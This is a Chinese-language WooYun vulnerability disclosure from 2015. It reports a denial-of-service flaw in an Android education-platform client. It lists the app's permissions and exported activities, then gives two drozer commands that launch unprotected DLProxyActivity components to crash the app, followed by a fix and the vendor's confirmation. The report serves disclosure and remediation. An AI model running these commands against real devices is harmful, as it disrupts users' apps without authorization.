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缺陷编号:wooyun-2015-0146074

漏洞标题:教育技术服务平台客户端拒绝服务漏洞

相关厂商:365天天艾米

漏洞作者: 侦探911

提交时间:2015-10-12 10:06

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:拒绝服务

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-10-12: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

教育技术服务平台客户端拒绝服务漏洞

详细说明:

dz> run app.package.info -a com.ime.xmpp
Package: com.ime.xmpp
Application Label: 鏁欒偛鎶€鏈湇鍔″钩鍙?
Process Name: com.ime.xmpp
Version: **.**.**.**
Data Directory: /data/data/com.ime.xmpp
APK Path: /data/app/com.ime.xmpp-1.apk
UID: 10081
GID: [3003, 1015, 1006]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.INTERNET
- android.permission.GET_PACKAGE_SIZE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.MOUNT_UNMOUNT_FILESYSTEMS
- android.permission.READ_PHONE_STATE
- android.permission.ACCESS_NETWORK_STATE
- android.permission.ACCESS_WIFI_STATE
- com.ime.xmpp.providers
- android.permission.GET_ACCOUNTS
- android.permission.USE_CREDENTIALS
- android.permission.MANAGE_ACCOUNTS
- android.permission.AUTHENTICATE_ACCOUNTS
- android.permission.WAKE_LOCK
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.VIBRATE
- android.permission.READ_CALENDAR
- android.permission.WRITE_CALENDAR
- android.permission.RECORD_AUDIO
- android.permission.MODIFY_AUDIO_SETTINGS
- android.permission.DOWNLOAD_WITHOUT_NOTIFICATION
- android.permission.CHANGE_NETWORK_STATE
- android.permission.ACCESS_COARSE_LOCATION
- android.permission.ACCESS_FINE_LOCATION
- android.permission.CHANGE_WIFI_STATE
- android.permission.CHANGE_CONFIGURATION
- android.permission.write_apn_settings
- android.permission.CAMERA
- android.permission.CALL_PHONE
- com.ime.xmpp.permission.UPLOAD_STU_DZDA_BROADCAST
- com.ime.xmpp.permission.CONNECTIVITY_ACTION_BROADCAST
- com.ime.xmpp.permission.RECOVER_NOTIFY_BROADCAST
Defines Permissions:
- com.ime.xmpp.providers
- com.ime.xmpp.permission.UPLOAD_STU_DZDA_BROADCAST
- com.ime.xmpp.permission.CONNECTIVITY_ACTION_BROADCAST
- com.ime.xmpp.permission.RECOVER_NOTIFY_BROADCAST
dz> run app.activity.info -a com.ime.xmpp
Package: com.ime.xmpp
com.ime.xmpp.WelcomeFirstActivity
Permission: null
com.ryg.dynamicload.DLProxyActivity
Permission: null
com.ryg.dynamicload.DLProxyFragmentActivity
Permission: null


暴露组件:

com.ime.xmpp.WelcomeFirstActivity
Permission: null
com.ryg.dynamicload.DLProxyActivity
Permission: null
com.ryg.dynamicload.DLProxyFragmentActivity
Permission: null


可造成拒绝服务组件:

com.ryg.dynamicload.DLProxyActivity
com.ryg.dynamicload.DLProxyFragmentActivity


测试代码:

dz> run app.activity.start --component com.ime.xmpp com.ryg.dynamicload.DLProxyActivity


dz> run app.activity.start --component com.ime.xmpp com.ryg.dynamicload.DLProxyFragmentActivity


2345截图20151011224802.png


漏洞证明:

20151011_223658.jpg

修复方案:

设置export为false,或者在代码中添加try-catch捕获异常

版权声明:转载请注明来源 侦探911@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-10-12 18:46

厂商回复:

漏洞确认,会尽快在下面的版本中进行修复。感谢您对我们安全工作的关注。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-12 12:16 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    前排